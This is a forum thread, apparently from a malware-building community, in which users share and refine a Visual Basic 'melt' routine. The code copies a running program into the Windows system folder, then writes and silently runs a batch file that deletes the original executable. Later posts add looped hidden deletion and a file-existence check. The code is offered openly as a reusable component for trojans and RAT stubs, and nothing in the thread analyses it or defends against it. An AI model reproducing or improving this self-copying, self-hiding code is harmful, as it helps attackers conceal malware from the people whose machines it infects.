+ Reply to Thread
Page 1 of 2 12 LastLast
Results 1 to 10 of 15

Thread: Melt Function

  1. #1
    Senior Member TKOH's Avatar
    Join Date
    Feb 2008
    Location
    Denmark
    Posts
    453

    Melt Function

    Hi guys... here is a melt function

    Code:
    Private Sub Form_Load()
    If App.Path <> Environ("systemroot") Then 'If File doesnt exist in systemroot then do
    DoEvent:
    FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("systemroot") & "\copiedfile.exe" 'Copy file to systemroot and rename it
    
    End If
    Dim i As Integer
    Open Environ("systemroot") & "runner.bat" For Output As #1 'open a bat file called runner.bat
    Print #1, "Del " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) 'Put this code into the opened bat file
    Close #1 'Now Done, close file
    For i = 0 To 10000
    i = i + 1
    Next
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    End
    End Sub

  2. #2
    Junior Member
    Join Date
    Jul 2008
    Posts
    1
    Nice

  3. #3
    Junior Member
    Join Date
    Jul 2008
    Posts
    1
    thanx

  4. #4
    Member
    Join Date
    Jul 2006
    Posts
    44
    Works fine 98% of the time
    If you want it 100% duplicate the deletion action

    ie.

    Next
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    End

    Regards,
    <22Cms>

  5. #5
    Senior Member LinuZ_'s Avatar
    Join Date
    Oct 2008
    Location
    ntdll!NtQuerySystemInformation
    Posts
    549
    Quote Originally Posted by common26 View Post
    Works fine 98% of the time
    If you want it 100% duplicate the deletion action

    ie.

    Next
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    End

    Regards,
    <22Cms>
    Works fine 99% of the time
    If you want it 100% duplicate the deletion action

    ie.

    Next
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    End

  6. #6
    Senior Member TKOH's Avatar
    Join Date
    Feb 2008
    Location
    Denmark
    Posts
    453
    thanks I will do


  7. #7
    Retired Admin KriPpLer's Avatar
    Join Date
    Apr 2006
    Location
    \xeb\x06\x90\x90
    Posts
    2,063
    Use a loop instead

    dim i as integer
    For i = 1 to 5
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    next i

    __________________________________________________ _________________
    I like pie.

  8. #8
    Senior Member LinuZ_'s Avatar
    Join Date
    Oct 2008
    Location
    ntdll!NtQuerySystemInformation
    Posts
    549
    Quote Originally Posted by KriPpLer View Post
    Use a loop instead

    dim i as integer
    For i = 1 to 5
    Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
    next i
    Yeyeye xD
    I was just kidding.
    This is maybe the best:
    Code:
    Private Sub Form_Load()
    If App.Path <> Environ("systemroot") Then
    DoEvent:
    FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("systemroot") & "\copiedfile.exe"
    
    End If
    Dim i As Integer
    Open Environ("systemroot") & "runner.bat" For Output As #1
    Print #1, "Del " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) 'Put this code into the opened bat file
    Close #1 'Now Done, close file
    For i = 0 To 10000
    i = i + 1
    Next
    
    While 1
    If FileExists(App.Path & "\" & App.EXEName & ".exe") = True Then
    Shell Environ("systemroot") & "runner.bat", vbHide
    Else
    End 'or exitsub or w/e
    
    
    End
    End Sub
    Public Function FileExists(sFullPath As String) As Boolean
        Dim oFile As New Scripting.FileSystemObject
        FileExists = oFile.FileExists(sFullPath)
    End Function
    But maybe this doesn't work... Dunno, never tested it

  9. #9
    Junior Member
    Join Date
    Apr 2009
    Posts
    2
    I have a Problem


    Please Help...


    http://bilderupload.biz/bild.php/7123,help04HP7.jpg

  10. #10
    Senior Member LinuZ_'s Avatar
    Join Date
    Oct 2008
    Location
    ntdll!NtQuerySystemInformation
    Posts
    549
    Just replace the function FileExists with this one:
    Code:
    Function FileExists(FileName As String) As Boolean
        On Error GoTo ErrorHandler
        FileExists = (GetAttr(FileName) And vbDirectory) = 0
    ErrorHandler:
    End Function

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. How to melt
    By ratws in forum Snippets
    Replies: 4
    Last Post: 18-09-2009, 19:55
  2. Melt Stub
    By cool_mofo_2 in forum General Programming Help
    Replies: 11
    Last Post: 07-12-2008, 04:17
  3. Melt Server
    By ratws in forum General Programming Help
    Replies: 3
    Last Post: 21-06-2007, 04:16
  4. melt
    By black_arrow_333 in forum Delphi Help
    Replies: 3
    Last Post: 01-02-2007, 14:46
  5. How to melt V.2 Lttcoder
    By ratws in forum General Programming Help
    Replies: 3
    Last Post: 07-05-2005, 23:46

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.